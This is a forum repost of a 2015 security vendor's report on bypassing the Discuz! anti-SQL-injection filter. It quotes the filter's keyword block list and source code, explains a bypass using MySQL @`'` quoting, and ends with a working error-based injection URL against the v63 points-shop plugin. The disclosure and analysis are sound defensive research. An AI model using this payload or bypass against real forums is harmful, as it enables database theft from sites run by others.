刺球网络安全社区

 找回密码
 立即注册

新浪微博登陆

只需一步, 快速开始

QQ登录

只需一步,快速开始

搜索
查看: 1476|回复: 0

详解discuz防注入研究报告:SQL注入漏洞

[复制链接]

 成长值: 215966

新浪微博达人勋

  • TA的每日心情

    2019-8-22 09:24
  • 签到天数: 23 天

    [LV.4]偶尔看看III

    1134

    主题

    1717

    帖子

    37万

    积分

    管理员

    技术指数:★★★★★

    Rank: 9Rank: 9Rank: 9

    积分
    376199

    社区QQ达人最佳新人活跃会员热心会员推广达人宣传达人灌水之王突出贡献优秀版主荣誉管理论坛元老

    QQ
    发表于 2015-7-9 14:13:19 | 显示全部楼层 |阅读模式
    近日,安全宝安全专家检测到discuz SQL注入0day攻击,即此前被披露的discuz v63积分商城插件注入漏洞,并分析其漏洞,期间发现discuz本身的防注入机制可以被绕过,且无限制。安全宝已经将漏洞已经在第一时间提交discuz,现在补上一份完整的报告。  discuz介绍:
      Crossday Discuz! Board(以下简称 Discuz!,中国国家版权局著作权登记号 2006SR11895)是康盛创想(北京)科技有限公司(英文简称Comsenz)推出的一套通用的社区论坛软件系统,用户可以在不需要任何编程的基础上,通过简单的设置和安装,在互联网上搭建起具备完善功能、很强负载能力和可高度定制的论坛服务。Discuz! 的基础架构采用世界上最流行的 web 编程组合 PHP+MySQL 实现,是一个经过完善设计,适用于各种服务器环境的高效论坛系统解决方案。
      近日DIscuz v63积分插件被爆注入漏洞,某互联网公司公布了一个的绕过discuz防注入函数的“方法”,链接http://bbs.webscan.360.cn/forum.php?mod=viewthread&tid=5373。事实上文章中说的“/*”会被discuz拦截。并没有绕过,安全宝安全工程师检测到discuz SQL注入 0day攻击,即某互联网公司披露的discuz v63积分商城插件注入漏洞,并分析其漏洞,期间发现discuz本身的防注入机制可以被绕过,且无限制。
      Discuz防注入分析如下:
      先看防注入配置:
    $_config['security']['querysafe']['status']    = 1;        // 是否开启SQL安全检测,可自动预防SQL注入攻击
    $_config['security']['querysafe']['dfunction']    = array('load_file','hex','substring','if','ord','char');
    $_config['security']['querysafe']['daction']    = array('intooutfile','intodumpfile','unionselect','(select', 'unionall', 'uniondistinct');
    $_config['security']['querysafe']['dnote']    = array('/*','*/','#','--','"');
    $_config['security']['querysafe']['dlikehex']    = 1;
    $_config['security']['querysafe']['afullnote']    = 0;

      Discuz 执行SQL语句之前会调用{\source\class\discuz\discuz_database.php} 文件discuz_database_safecheck类下面的checkquery($sql)函数进行过滤。但是过滤并不严谨,我们发现可以绕过改防注入函数。
    public static function checkquery($sql) {
            
    if (self:config === null) {
                self:config
    = getglobal('config/security/querysafe');
            }
            
    if (self:config['status']) {
                $cmd = trim(strtoupper(substr($sql, 0, strpos($sql, ' '))));
                if (in_array($cmd, self:checkcmd)) {
                    $test
    = self::_do_query_safe($sql);
                   
    if ($test < 1) {
                        throw
    new DbException('It is not safe to do this query', 0, $sql);
                    }
                }
            }
            return
    true;
        }


        private static function _do_query_safe($sql) {
            $sql
    = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);
            $mark = $clean = '';
            
            
    if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
                $clean = preg_replace("/'(.+?)'/s", '', $sql);
            } else {
                
                $
    len = strlen($sql);
                $mark
    = $clean = '';
                for ($i = 0; $i < $len; $i++) {
                    $str
    = $sql[$i];
                    switch ($str) {
                        
    case '\'':
                            if (!$mark) {
                                $mark
    = '\'';
                                $clean .= $str;
                            }
    elseif ($mark == '\'') {
                                $mark = '';
                            }
                            break;
                        
    case '/':
                            if (empty($mark) && $sql[$i + 1] == '*') {
                                $mark = '/*';
                                $clean .= $mark;
                                $i
    ++;
                            }
    elseif ($mark == '/*' && $sql[$i - 1] == '*') {
                                $mark = '';
                                $clean .= '*';
                            }
                            break;
                        
    case '#':
                            if (empty($mark)) {
                                $mark
    = $str;
                                $clean .
    = $str;
                            }
                            break;
                        
    case "\n":
                            
    if ($mark == '#' || $mark == '--') {
                                $mark = '';
                            }
                            break;
                        
    case '-':
                            if (empty($mark) && substr($sql, $i, 3) == '-- ') {
                                $mark = '-- ';
                                $clean .= $mark;
                            }
                            break;

                        default:

                            break;
                    }
                    $clean .
    = $mark ? '' : $str;
                }
            }

            $clean
    = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"+/is", "", strtolower($clean));

            
    if (self:config['afullnote']) {
                $clean = str_replace('/**/', '', $clean);
            }

            
    if (is_array(self:config['dfunction'])) {
                foreach (self:config['dfunction'] as $fun) {
                    if (strpos($clean, $fun . '(') !== false)
                        return '-1';
                }
            }

            
    if (is_array(self:config['daction'])) {
                foreach (self:config['daction'] as $action) {
                    if (strpos($clean, $action) !== false)
                        return
    '-3';
                }
            }

            
    if (self:config['dlikehex'] && strpos($clean, 'like0x')) {
                return '-2';
            }

            
    if (is_array(self::$config['dnote'])) {
                foreach (self::$config['dnote'] as $note) {
                    if (strpos($clean, $note) !== false)
                        return
    '-4';
                }
            }

            return
    1;
        }


      该防注入函数的关键绕过代码在:
        if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
                $clean = preg_replace("/'(.+?)'/s", '', $sql);
    }
    else
    {


      在discuz v63积分商城插件注入漏洞exp中并不需要斜杠、#号和—注释符。所以会执行$clean = preg_replace("/'(.+?)'/s", '', $sql);
      原来SQL语句中两个单引号中间的内容就会被替换为空。并不会进入到下面的else分支。Else下面的所有操作均是对$clean变量的操作。所以绕过的思路就是把SQL语句放在两个单引号中间。对于mysql的一个特性,@`’` 是为空的,所以我们的攻击语句可以放到两个@`’`中间,即使GPC开启,单引号被转义为\’,而@`’`变成@`\’`对注入也是没有影响的,所以此绕过方法无限制。
      即针对该注入漏洞的攻击EXP为:
    http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=110  or @`'` and (select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b) or @`'`

      调试输出SQL语句:
      可以看到我们的注入语句被替换掉了,所以后门的检查字符的时候并没有发现注入语句。最终成功利用:



    楼主热帖
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册 新浪微博登陆

    本版积分规则

    
     
     
    技术支持
    点击这里给我发消息
    在线客服
    点击这里给我发消息
    点击这里给我发消息
    刺球网安群①:
    刺球网安社区交流群①
    在线时间:
    8:30-21:00
     

    刺球网安 渝公网安备 50011402500080号 ( 渝ICP备15001097号-1 )申请友链|小黑屋| 刺球网络安全社区

    GMT, 2019-10-16 17:56 , Processed in 0.272834 second(s), 49 queries , Gzip On.

    Powered by 刺球网安

    © 2014-2025

    快速回复 返回顶部 返回列表